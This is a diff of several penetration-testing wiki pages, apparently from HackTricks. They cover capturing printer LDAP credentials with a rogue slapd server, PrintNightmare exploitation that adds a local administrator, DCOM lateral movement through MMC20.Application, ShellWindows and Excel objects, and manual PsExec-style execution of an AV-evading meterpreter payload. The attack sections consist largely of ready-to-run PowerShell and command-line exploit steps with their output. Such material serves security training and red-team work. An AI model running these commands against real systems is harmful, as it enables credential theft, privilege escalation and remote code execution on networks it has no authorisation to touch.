SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
adding new entry "cn=nis,cn=schema,cn=config"
|
||||
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
adding new entry "cn=inetorgperson,cn=schema,cn=config"
|
||||
```
|
||||
|
||||
**Set your domain name on LDAP DB.**
|
||||
|
||||
```
|
||||
# generate directory manager's password
|
||||
#> slappasswd
|
||||
New password:
|
||||
Re-enter new password:
|
||||
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
#> vim chdomain.ldif
|
||||
# specify the password generated above for "olcRootPW" section
|
||||
dn: olcDatabase={1}monitor,cn=config
|
||||
changetype: modify
|
||||
replace: olcAccess
|
||||
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
|
||||
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
replace: olcSuffix
|
||||
olcSuffix: dc=foo,dc=bar
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
replace: olcRootDN
|
||||
olcRootDN: cn=Manager,dc=foo,dc=bar
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
add: olcRootPW
|
||||
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
dn: olcDatabase={2}mdb,cn=config
|
||||
changetype: modify
|
||||
add: olcAccess
|
||||
olcAccess: {0}to attrs=userPassword,shadowLastChange by
|
||||
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
|
||||
olcAccess: {1}to dn.base="" by * read
|
||||
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read
|
||||
|
||||
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
modifying entry "olcDatabase={1}monitor,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
modifying entry "olcDatabase={2}mdb,cn=config"
|
||||
|
||||
#> vim basedomain.ldif
|
||||
dn: dc=foo,dc=bar
|
||||
objectClass: top
|
||||
objectClass: dcObject
|
||||
objectclass: organization
|
||||
o: Foo Bar
|
||||
dc: DC1
|
||||
|
||||
dn: cn=Manager,dc=foo,dc=bar
|
||||
objectClass: organizationalRole
|
||||
cn: Manager
|
||||
description: Directory Manager
|
||||
|
||||
dn: ou=People,dc=foo,dc=bar
|
||||
objectClass: organizationalUnit
|
||||
ou: People
|
||||
|
||||
dn: ou=Group,dc=foo,dc=bar
|
||||
objectClass: organizationalUnit
|
||||
ou: Group
|
||||
|
||||
#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif
|
||||
Enter LDAP Password: # directory manager's password
|
||||
adding new entry "dc=foo,dc=bar"
|
||||
|
||||
adding new entry "cn=Manager,dc=foo,dc=bar"
|
||||
|
||||
adding new entry "ou=People,dc=foo,dc=bar"
|
||||
|
||||
adding new entry "ou=Group,dc=foo,dc=bar"
|
||||
```
|
||||
|
||||
**Configure LDAP TLS**
|
||||
|
||||
**Create and SSL Certificate**
|
||||
|
||||
```
|
||||
#> cd /etc/pki/tls/certs
|
||||
#> make server.key
|
||||
umask 77 ; \
|
||||
/usr/bin/openssl genrsa -aes128 2048 > server.key
|
||||
Generating RSA private key, 2048 bit long modulus
|
||||
...
|
||||
...
|
||||
e is 65537 (0x10001)
|
||||
Enter pass phrase: # set passphrase
|
||||
Verifying - Enter pass phrase: # confirm
|
||||
|
||||
# remove passphrase from private key
|
||||
#> openssl rsa -in server.key -out server.key
|
||||
Enter pass phrase for server.key: # input passphrase
|
||||
writing RSA key
|
||||
|
||||
#> make server.csr
|
||||
umask 77 ; \
|
||||
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
|
||||
You are about to be asked to enter information that will be incorporated
|
||||
into your certificate request.
|
||||
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||
There are quite a few fields but you can leave some blank
|
||||
For some fields there will be a default value,
|
||||
If you enter '.', the field will be left blank.
|
||||
-----
|
||||
Country Name (2 letter code) [XX]: # country
|
||||
State or Province Name (full name) []: # state
|
||||
Locality Name (eg, city) [Default City]: # city
|
||||
Organization Name (eg, company) [Default Company Ltd]: # company
|
||||
Organizational Unit Name (eg, section) []:Foo Bar # department
|
||||
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
|
||||
Email Address []:xxx@foo.bar # admin email
|
||||
Please enter the following 'extra' attributes
|
||||
to be sent with your certificate request
|
||||
A challenge password []: # Enter
|
||||
An optional company name []: # Enter
|
||||
|
||||
#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
|
||||
Signature ok
|
||||
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
|
||||
Getting Private key
|
||||
```
|
||||
|
||||
**Configure Slapd for SSL /TLS**
|
||||
|
||||
```
|
||||
#> cp /etc/pki/tls/certs/server.key \
|
||||
/etc/pki/tls/certs/server.crt \
|
||||
/etc/pki/tls/certs/ca-bundle.crt \
|
||||
/etc/openldap/certs/
|
||||
|
||||
#> chown ldap. /etc/openldap/certs/server.key \
|
||||
/etc/openldap/certs/server.crt \
|
||||
/etc/openldap/certs/ca-bundle.crt
|
||||
|
||||
#> vim mod_ssl.ldif
|
||||
# create new
|
||||
dn: cn=config
|
||||
changetype: modify
|
||||
add: olcTLSCACertificateFile
|
||||
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
|
||||
-
|
||||
replace: olcTLSCertificateFile
|
||||
olcTLSCertificateFile: /etc/openldap/certs/server.crt
|
||||
-
|
||||
replace: olcTLSCertificateKeyFile
|
||||
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key
|
||||
|
||||
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
modifying entry "cn=config"
|
||||
```
|
||||
|
||||
**Allow LDAP through your local firewall**
|
||||
|
||||
```
|
||||
firewall-cmd --add-service={ldap,ldaps}
|
||||
```
|
||||
|
||||
## The payoff
|
||||
|
||||
Once you have installed and configured your LDAP service you can run it with the following command :
|
||||
|
||||
> ```
|
||||
> slapd -d 2
|
||||
> ```
|
||||
|
||||
The screen shot below shows an example of the output when we run the connection test on the printer. As you can see the username and password are passed from the LDAP client to server.
|
||||
|
||||
![slapd terminal output containing the username "MyUser" and password "MyPassword"](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1)
|
||||
|
||||
# How bad can it be?
|
||||
|
||||
This very much depends on the credentials that have been configured.
|
||||
|
||||
If the principle of least privilege is being followed, then you may only get read access to certain elements of active directory. This is often still valuable as you can use that information to formulate further more accurate attacks.
|
||||
|
||||
Typically you are likely to get an account in the Domain Users group which may give access to sensitive information or form the prerequisite authentication for other attacks.
|
||||
|
||||
Or, like me, you may be rewarded for setting up an LDAP server and be handed a Domain Admin account on a silver platter.
|
||||
# References
|
||||
* [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -12,94 +12,8 @@
|
|||
|
||||
</details>
|
||||
|
||||
**This page was copied from** [**https://academy.hackthebox.com/module/67/section/627**](https://academy.hackthebox.com/module/67/section/627)****
|
||||
**Check this awesome blog post about PrintNightmare in 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
|
||||
`CVE-2021-1675/CVE-2021-34527 PrintNightmare` is a flaw in [RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22) which is used to allow for remote printing and driver installation. \
|
||||
This function is intended to give **users with the Windows privilege `SeLoadDriverPrivilege`** the ability to **add drivers** to a remote Print Spooler. This right is typically reserved for users in the built-in Administrators group and Print Operators who may have a legitimate need to install a printer driver on an end user's machine remotely.
|
||||
|
||||
The flaw allowed **any authenticated user to add a print driver** to a Windows system without having the privilege mentioned above, allowing an attacker full remote **code execution as SYSTEM** on any affected system. The flaw **affects every supported version of Windows**, and being that the **Print Spooler** runs by default on **Domain Controllers**, Windows 7 and 10, and is often enabled on Windows servers, this presents a massive attack surface, hence "nightmare."
|
||||
|
||||
Microsoft initially released a patch that did not fix the issue (and early guidance was to disable the Spooler service, which is not practical for many organizations) but released a second [patch](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) in July of 2021 along with guidance to check that specific registry settings are either set to `0` or not defined. 
|
||||
|
||||
Once this vulnerability was made public, PoC exploits were released rather quickly. **** [**This**](https://github.com/cube0x0/CVE-2021-1675) **version** by [@cube0x0](https://twitter.com/cube0x0) can be used to **execute a malicious DLL** remotely or locally using a modified version of Impacket. The repo also contains a **C# implementation**.\
|
||||
This **** [**PowerShell implementation**](https://github.com/calebstewart/CVE-2021-1675) **** can be used for quick local privilege escalation. By **default**, this script **adds a new local admin user**, but we can also supply a custom DLL to obtain a reverse shell or similar if adding a local admin user is not in scope.
|
||||
|
||||
### **Checking for Spooler Service**
|
||||
|
||||
We can quickly check if the Spooler service is running with the following command. If it is not running, we will receive a "path does not exist" error.
|
||||
|
||||
```
|
||||
PS C:\htb> ls \\localhost\pipe\spoolss
|
||||
|
||||
|
||||
Directory: \\localhost\pipe
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
spoolss
|
||||
```
|
||||
|
||||
### **Adding Local Admin with PrintNightmare PowerShell PoC**
|
||||
|
||||
First start by [bypassing](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) the execution policy on the target host:
|
||||
|
||||
```
|
||||
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
|
||||
|
||||
Execution Policy Change
|
||||
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
|
||||
you to the security risks described in the about_Execution_Policies help topic at
|
||||
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
|
||||
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
|
||||
```
|
||||
|
||||
Now we can import the PowerShell script and use it to add a new local admin user.
|
||||
|
||||
```powershell
|
||||
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
|
||||
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
|
||||
|
||||
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
|
||||
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
|
||||
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
|
||||
[+] added user hacker as local administrator
|
||||
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
|
||||
```
|
||||
|
||||
### **Confirming New Admin User**
|
||||
|
||||
If all went to plan, we will have a new local admin user under our control. Adding a user is "noisy," We would not want to do this on an engagement where stealth is a consideration. Furthermore, we would want to check with our client to ensure account creation is in scope for the assessment.
|
||||
|
||||
```
|
||||
PS C:\htb> net user hacker
|
||||
|
||||
User name hacker
|
||||
Full Name hacker
|
||||
Comment
|
||||
User's comment
|
||||
Country/region code 000 (System Default)
|
||||
Account active Yes
|
||||
Account expires Never
|
||||
|
||||
Password last set ?8/?9/?2021 12:12:01 PM
|
||||
Password expires Never
|
||||
Password changeable ?8/?9/?2021 12:12:01 PM
|
||||
Password required Yes
|
||||
User may change password Yes
|
||||
|
||||
Workstations allowed All
|
||||
Logon script
|
||||
User profile
|
||||
Home directory
|
||||
Last logon Never
|
||||
|
||||
Logon hours allowed All
|
||||
|
||||
Local Group Memberships *Administrators
|
||||
Global Group memberships *None
|
||||
The command completed successfully.
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -22,129 +22,81 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
|
|||
|
||||
## MMC20.Application
|
||||
|
||||
**DCOM** (Distributed Component Object Model) objects are **interesting** due to the ability to **interact** with the objects **over the network**. Microsoft has some good documentation on DCOM [here](https://msdn.microsoft.com/en-us/library/cc226801.aspx) and on COM [here](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). You can find a solid list of DCOM applications using PowerShell, by running `Get-CimInstance Win32_DCOMApplication`.
|
||||
Distributed Component Object Model (DCOM) objects present an interesting capability for network-based interactions with objects. Microsoft provides comprehensive documentation for both DCOM and Component Object Model (COM), accessible [here for DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) and [here for COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). A list of DCOM applications can be retrieved using the PowerShell command:
|
||||
|
||||
The [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named `ExecuteShellCommand` under Document.ActiveView.
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>)
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), enables scripting of MMC snap-in operations. Notably, this object contains a `ExecuteShellCommand` method under `Document.ActiveView`. More information about this method can be found [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Check it running:
|
||||
|
||||
You can read more on that method [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host.
|
||||
This feature facilitates the execution of commands over a network through a DCOM application. To interact with DCOM remotely as an admin, PowerShell can be utilized as follows:
|
||||
|
||||
Fortunately, as an admin, you can remotely interact with DCOM with PowerShell by using “`[activator]::CreateInstance([type]::GetTypeFromProgID`”. All you need to do is provide it a DCOM ProgID and an IP address. It will then provide you back an instance of that COM object remotely:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
|
||||
![](<../../.gitbook/assets/image (665).png>)
|
||||
This command connects to the DCOM application and returns an instance of the COM object. The ExecuteShellCommand method can then be invoked to execute a process on the remote host. The process involves the following steps:
|
||||
|
||||
It is then possible to invoke the `ExecuteShellCommand` method to start a process on the remote host:
|
||||
Check methods:
|
||||
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
|
||||
Get RCE:
|
||||
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
||||
# Then just run something like:
|
||||
|
||||
ls \\10.10.10.10\c$\Users
|
||||
```
|
||||
|
||||
For more info check [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (4) (1).png>)
|
||||
|
||||
## ShellWindows & ShellBrowserWindow
|
||||
|
||||
The **MMC20.Application** object lacked explicit “[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)”, resulting in the default permission set allowing Administrators access:
|
||||
The **MMC20.Application** object was identified to lack explicit "LaunchPermissions," defaulting to permissions that permit Administrators access. For further details, a thread can be explored [here](https://twitter.com/tiraniddo/status/817532039771525120), and the usage of [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET for filtering objects without explicit Launch Permission is recommended.
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (1) (2).png>)
|
||||
Two specific objects, `ShellBrowserWindow` and `ShellWindows`, were highlighted due to their lack of explicit Launch Permissions. The absence of a `LaunchPermission` registry entry under `HKCR:\AppID\{guid}` signifies no explicit permissions.
|
||||
|
||||
You can read more on that thread [here](https://twitter.com/tiraniddo/status/817532039771525120).\
|
||||
Viewing which other objects that have no explicit LaunchPermission set can be achieved using [@tiraniddo](https://twitter.com/tiraniddo)’s [OleView .NET](https://github.com/tyranid/oleviewdotnet), which has excellent Python filters (among other things). In this instance, we can filter down to all objects that have no explicit Launch Permission. When doing so, two objects stood out to me: `ShellBrowserWindow` and `ShellWindows`:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
|
||||
|
||||
Another way to identify potential target objects is to look for the value `LaunchPermission` missing from keys in `HKCR:\AppID\{guid}`. An object with Launch Permissions set will look like below, with data representing the ACL for the object in Binary format:
|
||||
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
|
||||
|
||||
Those with no explicit LaunchPermission set will be missing that specific registry entry.
|
||||
|
||||
### ShellWindows
|
||||
|
||||
The first object explored was [ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx). Since there is no [ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx) associated with this object, we can use the [Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NET method paired with the[ Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx) method to instantiate the object via its AppID on a remote host. In order to do this, we need to get the [CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx) for the ShellWindows object, which can be accomplished using OleView .NET as well:
|
||||
|
||||
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
|
||||
|
||||
As you can see below, the “Launch Permission” field is blank, meaning no explicit permissions are set.
|
||||
|
||||
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
|
||||
|
||||
Now that we have the CLSID, we can instantiate the object on a remote target:
|
||||
### ShellWindows
|
||||
For `ShellWindows`, which lacks a ProgID, the .NET methods `Type.GetTypeFromCLSID` and `Activator.CreateInstance` facilitate object instantiation using its AppID. This process leverages OleView .NET to retrieve the CLSID for `ShellWindows`. Once instantiated, interaction is possible through the `WindowsShell.Item` method, leading to method invocation like `Document.Application.ShellExecute`.
|
||||
|
||||
Example PowerShell commands were provided to instantiate the object and execute commands remotely:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
```
|
||||
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/remote\_instantiation\_shellwindows.png?w=690\&h=354)
|
||||
|
||||
With the object instantiated on the remote host, we can interface with it and invoke any methods we want. The returned handle to the object reveals several methods and properties, none of which we can interact with. In order to achieve actual interaction with the remote host, we need to access the [WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx) method, which will give us back an object that represents the Windows shell window:
|
||||
|
||||
```
|
||||
$item = $obj.Item()
|
||||
```
|
||||
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/item\_instantiation.png?w=416\&h=465)
|
||||
|
||||
With a full handle on the Shell Window, we can now access all of the expected methods/properties that are exposed. After going through these methods, **`Document.Application.ShellExecute`** stood out. Be sure to follow the parameter requirements for the method, which are documented [here](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx).
|
||||
|
||||
```powershell
|
||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||
```
|
||||
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/shellwindows\_command\_execution.png?w=690\&h=426)
|
||||
### Lateral Movement with Excel DCOM Objects
|
||||
|
||||
As you can see above, our command was executed on a remote host successfully.
|
||||
Lateral movement can be achieved by exploiting DCOM Excel objects. For detailed information, it's advisable to read the discussion on leveraging Excel DDE for lateral movement via DCOM at [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
### ShellBrowserWindow
|
||||
|
||||
This particular object does not exist on Windows 7, making its use for lateral movement a bit more limited than the “ShellWindows” object, which I tested on Win7-Win10 successfully.
|
||||
|
||||
Based on my enumeration of this object, it appears to effectively provide an interface into the Explorer window just as the previous object does. To instantiate this object, we need to get its CLSID. Similar to above, we can use OleView .NET:
|
||||
|
||||
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
|
||||
|
||||
Again, take note of the blank Launch Permission field:
|
||||
|
||||
![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340)
|
||||
|
||||
With the CLSID, we can repeat the steps taken on the previous object to instantiate the object and call the same method:
|
||||
The Empire project provides a PowerShell script, which demonstrates the utilization of Excel for remote code execution (RCE) by manipulating DCOM objects. Below are snippets from the script available on [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), showcasing different methods to abuse Excel for RCE:
|
||||
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
||||
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
|
||||
```
|
||||
|
||||
![](https://enigma0x3.files.wordpress.com/2017/01/shellbrowserwindow\_command\_execution.png?w=690\&h=441)
|
||||
|
||||
As you can see, the command successfully executed on the remote target.
|
||||
|
||||
Since this object interfaces directly with the Windows shell, we don’t need to invoke the “ShellWindows.Item” method, as on the previous object.
|
||||
|
||||
While these two DCOM objects can be used to run shell commands on a remote host, there are plenty of other interesting methods that can be used to enumerate or tamper with a remote target. A few of these methods include:
|
||||
|
||||
* `Document.Application.ServiceStart()`
|
||||
* `Document.Application.ServiceStop()`
|
||||
* `Document.Application.IsServiceRunning()`
|
||||
* `Document.Application.ShutDownWindows()`
|
||||
* `Document.Application.GetSystemInformation()`
|
||||
|
||||
## ExcelDDE & RegisterXLL
|
||||
|
||||
In a similar way it's possible to move laterally abusing DCOM Excel objects, for more information read [https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)
|
||||
|
||||
```powershell
|
||||
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
|
||||
## You can see here how to abuse excel for RCE
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$isx64 = [boolean]$obj.Application.ProductCode[21]
|
||||
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
|
||||
}
|
||||
# Registration of an XLL
|
||||
elseif ($Method -Match "RegisterXLL") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.Application.RegisterXLL("$DllPath")
|
||||
}
|
||||
# Execution of a command via Excel DDE
|
||||
elseif ($Method -Match "ExcelDDE") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
|
@ -153,6 +105,19 @@ elseif ($Method -Match "ExcelDDE") {
|
|||
}
|
||||
```
|
||||
|
||||
### Automation Tools for Lateral Movement
|
||||
|
||||
Two tools are highlighted for automating these techniques:
|
||||
|
||||
- **Invoke-DCOM.ps1**: A PowerShell script provided by the Empire project that simplifies the invocation of different methods for executing code on remote machines. This script is accessible at the Empire GitHub repository.
|
||||
|
||||
- **SharpLateral**: A tool designed for executing code remotely, which can be used with the command:
|
||||
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
* The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines.
|
||||
|
@ -164,8 +129,8 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
|
||||
## References
|
||||
|
||||
* The first method was copied from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/), for more info follow the link
|
||||
* The second section was copied from [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/), for more info follow the link
|
||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -16,34 +16,29 @@ Other ways to support HackTricks:
|
|||
|
||||
## How do they work
|
||||
|
||||
1. Copy a service binary to the ADMIN$ share over SMB
|
||||
2. Create a service on the remote machine pointing to the binary
|
||||
3. Remotely start the service
|
||||
4. When exited, stop the service and delete the binary
|
||||
The process is outlined in the steps below, illustrating how service binaries are manipulated to achieve remote execution on a target machine via SMB:
|
||||
|
||||
## **Manually PsExec'ing**
|
||||
1. **Copying of a service binary to the ADMIN$ share over SMB** is performed.
|
||||
2. **Creation of a service on the remote machine** is done by pointing to the binary.
|
||||
3. The service is **started remotely**.
|
||||
4. Upon exit, the service is **stopped, and the binary is deleted**.
|
||||
|
||||
First let's assume we have a payload executable we generated with msfvenom and obfuscated with Veil (so AV doesn't flag it). In this case, I created a meterpreter reverse\_http payload and called it 'met8888.exe'
|
||||
### **Process of Manually Executing PsExec**
|
||||
|
||||
**Copy the binary**. From our "jarrieta" command prompt, simply copy the binary to the ADMIN$. Really though, it could be copied and hidden anywhere on the filesystem.
|
||||
Assuming there is an executable payload (created with msfvenom and obfuscated using Veil to evade antivirus detection), named 'met8888.exe', representing a meterpreter reverse_http payload, the following steps are taken:
|
||||
|
||||
![](../../.gitbook/assets/copy\_binary\_admin.png)
|
||||
- **Copying the binary**: The executable is copied to the ADMIN$ share from a command prompt, though it may be placed anywhere on the filesystem to remain concealed.
|
||||
|
||||
**Create a service**. The Windows `sc` command is used to query, create, delete, etc Windows services and can be used remotely. Read more about it [here](https://technet.microsoft.com/en-us/library/bb490995.aspx). From our command prompt, we'll remotely create a service called "meterpreter" that points to our uploaded binary:
|
||||
- **Creating a service**: Utilizing the Windows `sc` command, which allows for querying, creating, and deleting Windows services remotely, a service named "meterpreter" is created to point to the uploaded binary.
|
||||
|
||||
![](../../.gitbook/assets/sc\_create.png)
|
||||
- **Starting the service**: The final step involves starting the service, which will likely result in a "time-out" error due to the binary not being a genuine service binary and failing to return the expected response code. This error is inconsequential as the primary goal is the binary's execution.
|
||||
|
||||
**Start the service**. The last step is to start the service and execute the binary. _Note:_ when the service starts it will "time-out" and generate an error. That's because our meterpreter binary isn't an actual service binary and won't return the expected response code. That's fine because we just need it to execute once to fire:
|
||||
Observation of the Metasploit listener will reveal that the session has been initiated successfully.
|
||||
|
||||
![](../../.gitbook/assets/sc\_start\_error.png)
|
||||
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
If we look at our Metasploit listener, we'll see the session has been opened.
|
||||
|
||||
**Clean the service.**
|
||||
|
||||
![](../../.gitbook/assets/sc\_delete.png)
|
||||
|
||||
Extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
